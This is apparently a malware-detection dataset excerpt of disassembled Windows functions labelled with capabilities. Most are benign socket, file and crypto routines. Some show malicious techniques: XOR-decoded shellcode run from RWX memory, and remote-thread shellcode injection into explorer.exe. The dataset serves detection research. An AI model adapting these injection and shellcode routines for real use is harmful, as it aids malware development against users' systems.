joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b1550
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov byte [rsp + 0x38], 0xff
mov rcx, qword [rcx + 0x18]
mov edi, r8d
mov esi, edx
mov byte [rsp + 0x3a], dil
xor r9d, r9d
mov byte [rsp + 0x39], sil
lea rdx, [rsp + 0x38]
mov rcx, qword [rcx + 0x1e8]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400b15af
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbx
mov r8d, eax
call fcn.140088210
mov r9d, edi
lea rdx, str.SENT
mov r8d, esi
mov rcx, rbx
call fcn.1400b10f0
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400b1750
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400b18f9
push rsi
push rdi
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x1b0]
mov rsi, rcx
mov r15, qword [rcx + 0x18]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbp
lea rbx, [rdi + 0x1eb8]
mov qword [rsp + 0x58], r14
lea r14, [rdi + 0x1cb8]
mov qword [rbx], r14
cmp r14, rbx
jae 0x1400b17b7
lea rax, [r14 + 1]
mov byte [r14], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400b17b7
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400b17b7
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx ebp, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400b17ed
mov byte [r9], bpl
inc qword [rbx]
mov r9, qword [rbx]
mov rbp, qword [rsp + 0x50]
cmp r9, rbx
jae 0x1400b1843
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b1843
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b1843
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b1843
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b1843
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, r14
mov qword [rbx], r14
sub r9, 2
mov edx, 0x3e
mov rcx, rsi
call fcn.1400b1220
mov rcx, qword [r15 + 0x1e8]
xor r9d, r9d
mov rdx, r14
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov r14, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400b18a5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rsi
mov r8d, eax
call fcn.140088210
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, rsi
call fcn.1400b15e0
mov rcx, qword [r15 + 0x1e8]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400b18f1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rsi
mov r8d, eax
call fcn.140088210
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
Function at 0x1400b3040
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x1402e9060]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rax, qword [rcx + 0x18]
mov rsi, rcx
xor r9d, r9d
mov rdi, qword [rax + 0x700]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0x80
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r8d, dword [rdi + 0x144]
mov rdx, qword [rdi + 0x150]
add r8d, 4
mov rcx, qword [rdi + 0x18]
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rdi + 0x138], 0
mov dword [rdi + 0x13c], eax
jne 0x1400b30d7
movsxd r8, dword [rsp + 0x30]
lea rcx, [rdi + 0xb8]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rdi + 0x138], eax
mov r8d, dword [rdi + 0x13c]
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0xf0], rbp
cmp r8d, 4
jge 0x1400b313d
lea rdx, str.Received_too_short_packet
mov rcx, rsi
call fcn.140088210
mov dword [rdi + 0xc], 7
xor eax, eax
mov rbp, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400c8490
mov rsi, qword [rsp + 0xf8]
add rsp, 0xd0
pop rdi
ret
mov rdx, qword [rdi + 0x150]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rdi + 0xc], ecx
dec ecx
cmp ecx, 5
ja case.0x1400b3173.1
movsxd rax, ecx
lea r9, [0x140000000]
mov ecx, dword [r9 + rax*4 + 0xb328c]
add rcx, r9
jmp rcx
cmp r8d, 4
jle case.0x1400b3173.4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rdi + 0x14c]
inc eax
movzx eax, ax
cmp eax, ecx
jne case.0x1400b3173.4
lea eax, [r8 - 4]
mov rcx, rsi
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140088130
mov ebx, eax
test eax, eax
je 0x1400b31d2
mov edx, 5
mov rcx, rdi
call fcn.1400b3ca0
mov eax, ebx
jmp 0x1400b310c
mov eax, dword [rdi + 0x13c]
mov rcx, rsi
sub eax, 4
cdqe
add qword [rsi + 0xf8], rax
mov rdx, qword [rsi + 0xf8]
call fcn.1400982d0
jmp case.0x1400b3173.4
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbx, eax
lea rbp, [rdx + 4]
movzx eax, byte [rdx + 3]
mov rdx, rbx
shl ecx, 8
or ecx, eax
mov dword [rdi + 8], ecx
mov rcx, rbp
call fcn.1400b3d10
cmp rax, rbx
jae case.0x1400b3173.4
mov r8, rbp
lea rdx, str.TFTP_error:__s
mov rcx, rsi
call fcn.140088380
jmp case.0x1400b3173.4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rdi
call fcn.1400b2d70
test eax, eax
je case.0x1400b3173.4
jmp 0x1400b310c
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rsi
lea rdx, [0x1402d3f74]
call fcn.140088210
mov rcx, rsi
call fcn.1400985e0
test eax, eax
je 0x1400b310a
mov edx, 5
mov rcx, rdi
call fcn.1400b3ca0
mov eax, Ordinal_46
jmp 0x1400b310c
Function at 0x1400bee50
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbx
push rbp
push r12
push r13
push r15
sub rsp, 0x180
mov rax, qword [0x1402e9060]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x50], rcx
mov r15, r8
mov rcx, rdx
mov r12, rdx
xor ebp, ebp
xor ebx, ebx
call case.0x14007cd79.0
mov r13, rax
test rax, rax
jne 0x1400beece
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov ecx, eax
call fcn.14009c900
mov r9, rax
lea rdx, str.schannel:_invalid_path_name_for_CA_file__s:__s
mov r8, r12
mov rcx, r15
call fcn.140088210
xor ecx, ecx
lea ebx, [rbp + 0x4d]
call qword [fcn.1400c9aaf]
jmp 0x1400bf088
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, r13
mov qword [rsp + 0x170], r14
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x1400bef41
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov ecx, eax
call fcn.14009c900
mov r9, rax
lea rdx, str.schannel:_failed_to_open_CA_file__s:__s
mov r8, r12
mov rcx, r15
call fcn.140088210
xor ecx, ecx
lea ebx, [r14 + 0x4e]
jmp 0x1400bf072
lea rdx, [rsp + 0x48]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1400bef8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov ecx, eax
call fcn.14009c900
mov r9, rax
lea rdx, str.schannel:_failed_to_determine_size_of_CA_file__s:__s
mov r8, r12
mov rcx, r15
call fcn.140088210
mov ebx, Ordinal_79
jmp 0x1400bf066
mov qword [rsp + 0x178], rdi
mov rdi, qword [rsp + 0x48]
cmp rdi, 0x100000
jle 0x1400befbf
mov r8d, 0x100000
lea rdx, str.schannel:_CA_file_exceeds_max_size_of__u_bytes
mov rcx, r15
call fcn.140088210
mov ebx, Ordinal_79
jmp 0x1400bf05e
lea rcx, [rdi + 1]
call qword [section..data]
mov rbp, rax
test rax, rax
jne 0x1400befd9
lea ebx, [rax + 0x1b]
jmp 0x1400bf05e
mov qword [rsp + 0x1c8], rsi
test rdi, rdi
je 0x1400bf038
nop word [rax + rax]
mov r8d, edi
mov dword [rsp + 0x40], 0
sub r8d, ebx
mov esi, ebx
lea rdx, [rbx + rbp]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400bf0aa
mov eax, dword [rsp + 0x40]
test eax, eax
jne 0x1400bf02f
mov edi, esi
jmp 0x1400bf031
add ebx, eax
mov eax, ebx
cmp rax, rdi
jb 0x1400beff0
mov rcx, qword [rsp + 0x50]
mov r9, r12
mov r8, rdi
mov byte [rdi + rbp], 0
mov rdx, rbp
mov qword [rsp + 0x20], r15
call fcn.1400bebb0
mov ebx, eax
mov rsi, qword [rsp + 0x1c8]
mov rdi, qword [rsp + 0x178]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [fcn.1400c9aaf]
mov rcx, r13
call fcn.1400c9aaf
mov r14, qword [rsp + 0x170]
mov eax, ebx
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400c8490
add rsp, 0x180
pop r15
pop r13
pop r12
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov ecx, eax
call fcn.14009c900
mov r9, rax
lea rdx, str.schannel:_failed_to_read_from_CA_file__s:__s
mov r8, r12
mov rcx, r15
call fcn.140088210
mov ebx, Ordinal_79
jmp 0x1400bf056
Function at 0x1400c60e0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [section..data]
mov rdi, rax
test rax, rax
jne 0x1400c6122
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400c6169
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400c61c2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400c6180
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400c6203
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400dc5ac]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400dc5ad]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400c61d0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400c7e14
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400c7e98
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400c7e98
dec r8
sub rdx, 1
jne 0x1400c7e7e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400c92fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c9346
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c9346
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c9346
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c9346
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c9346
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400c9348
xor al, al
add rsp, 0x28
ret
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x140012d50
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001125d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x1400117a0
push rbp
push rsi
push rdi
sub rsp, 0x420
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x14002209f]
call fcn.140011361
nop
lea rax, [rbp + 0x10]
lea rcx, [0x14001ac30]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1ff
rep movsb byte [rdi], byte [rsi]
mov byte [rbp + 0x224], 0x44
mov dword [rbp + 0x244], 0
jmp 0x140011818
mov eax, dword [rbp + 0x244]
inc eax
mov dword [rbp + 0x244], eax
movsxd rax, dword [rbp + 0x244]
cmp rax, 0x1fe
jae 0x140011849
movsxd rax, dword [rbp + 0x244]
movzx eax, byte [rbp + rax + 0x10]
movsx ecx, byte [rbp + 0x224]
xor eax, ecx
movsxd rcx, dword [rbp + 0x244]
mov byte [rbp + rcx + 0x10], al
jmp 0x14001180a
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1ff
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x268], rax
mov r8d, 0x1ff
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.1400111a9
nop
call qword [rbp + 0x268]
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac00]
call fcn.1400112f8
mov eax, edi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.1400111a4
lea rsp, [rbp + 0x400]
pop rdi
pop rsi
pop rbp
ret

Function at 0x140011267
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400140a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400140c0
xor al, al
jmp 0x140014141
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400140d3
xor al, al
jmp 0x140014141
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400140fd
xor al, al
jmp 0x140014141
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014111
xor al, al
jmp 0x140014141
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014123
xor al, al
jmp 0x140014141
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001413f
xor al, al
jmp 0x140014141
mov al, 1
add rsp, 0x38
ret
Function at 0x140011f80
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011389
movzx eax, al
test eax, eax
jne 0x140011fa0
mov ecx, 7
call fcn.140011302
nop
mov byte [rsp + 0x20], 0
call fcn.140011316
mov byte [rsp + 0x21], al
cmp dword [0x14001d868], 1
jne 0x140011fc4
mov ecx, 7
call fcn.140011302
nop
jmp 0x14001201c
cmp dword [0x14001d868], 0
jne 0x140012017
mov dword [0x14001d868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.140011190
test eax, eax
je 0x140011ff8
mov eax, 0xff
jmp 0x140012121
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.14001130c
mov dword [0x14001d868], 2
jmp 0x14001201c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400112ee
call fcn.14001128a
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012079
mov rcx, qword [rsp + 0x30]
call fcn.14001114f
movzx eax, al
test eax, eax
je 0x140012079
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140023020]
nop
call fcn.1400112bc
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400120ad
mov rcx, qword [rsp + 0x38]
call fcn.14001114f
movzx eax, al
test eax, eax
je 0x1400120ad
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011343
nop
call fcn.1400121d0
mov dword [rsp + 0x28], eax
call fcn.140011267
movzx eax, al
test eax, eax
jne 0x1400120cc
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400120db
call fcn.14001134d
nop
xor edx, edx
mov cl, 1
call fcn.140011140
mov eax, dword [rsp + 0x28]
jmp 0x140012121
add rsp, 0x68
ret
Function at 0xa10480
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xa1048d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xa1049d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xa10485
lea eax, [rcx + 1]
jmp 0xa104ab
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xa104be
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xa104a4
sub eax, 3
jb 0xa104de
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xa1052d
sar eax, 1
movsxd rbp, eax
jb 0xa10514
jmp 0xa104ec
add ebx, ebx
jne 0xa104ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xa10514
inc ecx
add ebx, ebx
jne 0xa104fa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xa10514
call r11
adc ecx, ecx
add ebx, ebx
jne 0xa1050d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xa104fc
add ecx, 2
jmp 0xa10519
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00a10442
jmp 0xa1048d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x25b400
mov dl, 0x2e
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xa10579
cmp rsi, rcx
jae 0xa10581
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xa10560
cmp al, 0x8f
ja 0xa10560
cmp byte [rsi - 2], 0xf
je 0xa10566
sub al, 0xe8
cmp al, 1
ja 0xa1054a
cmp rsi, rcx
jae 0xa10581
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xa10550
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xa10581
lodsb al, byte [rsi]
jmp 0xa10560
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x609000]
mov eax, dword [rdi]
or eax, eax
je 0xa105de
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x610000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xa1058e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xa105d8
mov qword [rbx], rax
add rbx, 8
jmp 0xa105ae
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xa10622
cmp al, 0xef
ja 0xa1060a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xa105ea
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0xa105f9
mov eax, dword [rdi]
add rdi, 4
jmp 0xa105f9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xa10676
sub rsp, 0xffffffffffffff80
jmp 0x473f40
Function at 0x140001660
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
sub rsp, 0x60
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor ebx, ebx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rbx
call fcn.140001410
lea rdx, str.explorer.exe
xor ecx, ecx
mov rbp, rax
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400016bf
lea rcx, str.Explorer.exe_not_found.
call fcn.140001290
mov rcx, rbp
call fcn.140002f90
mov eax, 0xffffffff
jmp 0x140001871
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x78], rdi
mov rcx, rax
mov dword [rsp + 0x48], ebx
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001706
lea rcx, str.Failed_to_open_process.
call fcn.140001290
mov ebx, 0xffffffff
jmp 0x140001849
mov qword [rsp + 0x70], rsi
mov r9d, 0x3000
mov qword [rsp + 0x80], r14
xor edx, edx
mov r14, qword [rsp + 0x40]
mov rcx, rdi
mov r8, r14
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x14000175b
lea rcx, str.Failed_to_allocate_memory.
call fcn.140001290
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xffffffff
jmp 0x14000183c
lea rax, [rsp + 0x50]
mov r9, r14
mov r8, rbp
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400017af
lea rcx, str.Failed_to_write_memory.
call fcn.140001290
mov r9d, RtlCaptureContext
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xffffffff
jmp 0x14000183c
mov qword [rsp + 0x30], rbx
mov r9, rsi
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r14, rax
test rax, rax
jne 0x140001807
lea rcx, str.Failed_to_create_remote_thread.
call fcn.140001290
mov r9d, RtlCaptureContext
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 0xffffffff
jmp 0x14000183c
mov edx, 0xffffffff
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, RtlCaptureContext
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x80]
lea rax, str.Shellcode_injection_failed_
test ebx, ebx
lea rcx, str.Shellcode_injected_successfully_
cmovne rcx, rax
call fcn.140001290
mov rcx, rbp
call fcn.140002f90
mov rdi, qword [rsp + 0x78]
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002f70
mov rbx, qword [rsp + 0x88]
add rsp, 0x60
pop rbp
ret